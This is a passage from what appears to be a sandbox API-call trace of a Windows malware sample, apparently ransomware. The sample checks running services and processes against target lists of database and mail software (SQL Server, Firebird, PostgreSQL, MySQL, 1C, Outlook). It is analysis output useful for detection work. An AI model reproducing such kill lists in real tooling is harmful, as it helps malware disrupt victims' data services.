(lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0048.917] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0048.917] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0048.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0048.917] lstrlenW (lpString="Schedule") returned 8 [0048.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0048.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0048.917] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0048.917] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0048.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0048.917] lstrlenW (lpString="SENS") returned 4 [0048.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0048.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0048.917] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0048.917] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0048.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0048.917] lstrlenW (lpString="ShellHWDetection") returned 16 [0048.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0048.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0048.917] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0048.917] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0048.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0048.917] lstrlenW (lpString="Spooler") returned 7 [0048.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0048.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0048.917] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0048.917] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0048.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0048.917] lstrlenW (lpString="swprv") returned 5 [0048.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0048.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0048.917] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0048.917] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0048.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0048.917] lstrlenW (lpString="SysMain") returned 7 [0048.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0048.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0048.917] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0048.917] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0048.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0048.918] lstrlenW (lpString="Themes") returned 6 [0048.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0048.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0048.918] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0048.918] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0048.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0048.918] lstrlenW (lpString="TrkWks") returned 6 [0048.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0048.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0048.918] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0048.918] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0048.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0048.918] lstrlenW (lpString="UxSms") returned 5 [0048.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0048.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0048.918] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0048.918] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0048.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0048.918] lstrlenW (lpString="VSS") returned 3 [0048.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0048.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0048.918] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0048.918] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0048.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0048.918] lstrlenW (lpString="WdiServiceHost") returned 14 [0048.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0048.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0048.918] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0048.918] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0048.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0048.918] lstrlenW (lpString="WdiSystemHost") returned 13 [0048.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0048.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0048.918] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0048.918] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0048.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0048.918] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0048.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0048.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0048.919] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0048.919] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0048.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0048.919] lstrlenW (lpString="Winmgmt") returned 7 [0048.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0048.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0048.919] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0048.919] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0048.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0048.919] lstrlenW (lpString="WPDBusEnum") returned 10 [0048.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0048.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0048.919] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0048.919] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0048.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0048.919] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63e068 | out: hHeap=0x5f0000) returned 1 [0048.919] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x214 [0048.921] Process32FirstW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0048.922] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0048.922] lstrlenW (lpString="System") returned 6 [0048.922] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0048.922] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0048.923] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0048.923] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0048.923] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0048.923] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0048.923] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0048.923] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0048.923] lstrlenW (lpString="smss.exe") returned 8 [0048.923] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0048.923] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0048.923] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0048.923] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0048.923] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0048.923] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0048.923] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0048.924] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0048.924] lstrlenW (lpString="csrss.exe") returned 9 [0048.924] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0048.924] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0048.924] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0048.924] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0048.924] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0048.924] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0048.924] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0048.924] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0048.925] lstrlenW (lpString="wininit.exe") returned 11 [0048.925] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0048.925] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0048.925] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0048.925] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0048.926] lstrlenW (lpString="csrss.exe") returned 9 [0048.926] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0048.926] lstrlenW (lpString="winlogon.exe") returned 12 [0048.926] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0048.927] lstrlenW (lpString="services.exe") returned 12 [0048.927] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0048.928] lstrlenW (lpString="lsass.exe") returned 9 [0048.928] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0048.928] lstrlenW (lpString="lsm.exe") returned 7 [0048.929] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.929] lstrlenW (lpString="svchost.exe") returned 11 [0048.929] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.930] lstrlenW (lpString="svchost.exe") returned 11 [0048.930] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.931] lstrlenW (lpString="svchost.exe") returned 11 [0048.931] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.931] lstrlenW (lpString="svchost.exe") returned 11 [0048.931] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.932] lstrlenW (lpString="svchost.exe") returned 11 [0048.932] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0048.933] lstrlenW (lpString="audiodg.exe") returned 11 [0048.933] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.933] lstrlenW (lpString="svchost.exe") returned 11 [0048.933] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.934] lstrlenW (lpString="svchost.exe") returned 11 [0048.934] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0048.935] lstrlenW (lpString="dwm.exe") returned 7 [0048.935] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0048.935] lstrlenW (lpString="explorer.exe") returned 12 [0048.935] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0048.936] lstrlenW (lpString="spoolsv.exe") returned 11 [0048.936] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0048.937] lstrlenW (lpString="taskhost.exe") returned 12 [0048.937] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.937] lstrlenW (lpString="svchost.exe") returned 11 [0048.937] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0048.938] lstrlenW (lpString="taskeng.exe") returned 11 [0048.938] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0048.939] lstrlenW (lpString="taskhost.exe") returned 12 [0048.939] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations-breath.exe")) returned 1 [0048.939] lstrlenW (lpString="obligations-breath.exe") returned 22 [0048.940] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mirrors billion batch.exe")) returned 1 [0048.940] lstrlenW (lpString="mirrors billion batch.exe") returned 25 [0048.940] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieving.exe")) returned 1 [0048.941] lstrlenW (lpString="achieving.exe") returned 13 [0048.941] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="venice.exe")) returned 1 [0048.941] lstrlenW (lpString="venice.exe") returned 10 [0048.942] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="owns.exe")) returned 1 [0048.942] lstrlenW (lpString="owns.exe") returned 8 [0048.942] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="faster momentum.exe")) returned 1 [0048.943] lstrlenW (lpString="faster momentum.exe") returned 19 [0048.943] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vital_reasons.exe")) returned 1 [0048.944] lstrlenW (lpString="vital_reasons.exe") returned 17 [0048.944] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="everyone.exe")) returned 1 [0048.944] lstrlenW (lpString="everyone.exe") returned 12 [0048.944] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knife-matches-went.exe")) returned 1 [0048.945] lstrlenW (lpString="knife-matches-went.exe") returned 22 [0048.945] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bored_excluded.exe")) returned 1 [0048.946] lstrlenW (lpString="bored_excluded.exe") returned 18 [0048.946] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mothers.exe")) returned 1 [0048.946] lstrlenW (lpString="mothers.exe") returned 11 [0048.946] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="career-fed.exe")) returned 1 [0048.947] lstrlenW (lpString="career-fed.exe") returned 14 [0048.947] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="securities-sv-infection.exe")) returned 1 [0048.948] lstrlenW (lpString="securities-sv-infection.exe") returned 27 [0048.948] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="initial_utilization.exe")) returned 1 [0048.948] lstrlenW (lpString="initial_utilization.exe") returned 23 [0048.948] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cf-represent.exe")) returned 1 [0048.949] lstrlenW (lpString="cf-represent.exe") returned 16 [0048.949] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tue.exe")) returned 1 [0048.950] lstrlenW (lpString="tue.exe") returned 7 [0048.950] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-lat-qualities.exe")) returned 1 [0048.951] lstrlenW (lpString="geo-lat-qualities.exe") returned 21 [0048.951] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distinctiondollardemographic.exe")) returned 1 [0048.951] lstrlenW (lpString="distinctiondollardemographic.exe") returned 32 [0048.951] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stuff_event.exe")) returned 1 [0048.952] lstrlenW (lpString="stuff_event.exe") returned 15 [0048.952] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="keywords-copies.exe")) returned 1 [0048.953] lstrlenW (lpString="keywords-copies.exe") returned 19 [0048.953] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lap.exe")) returned 1 [0048.957] lstrlenW (lpString="lap.exe") returned 7 [0048.957] Process32NextW (in: hSnapshot=0x214, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, 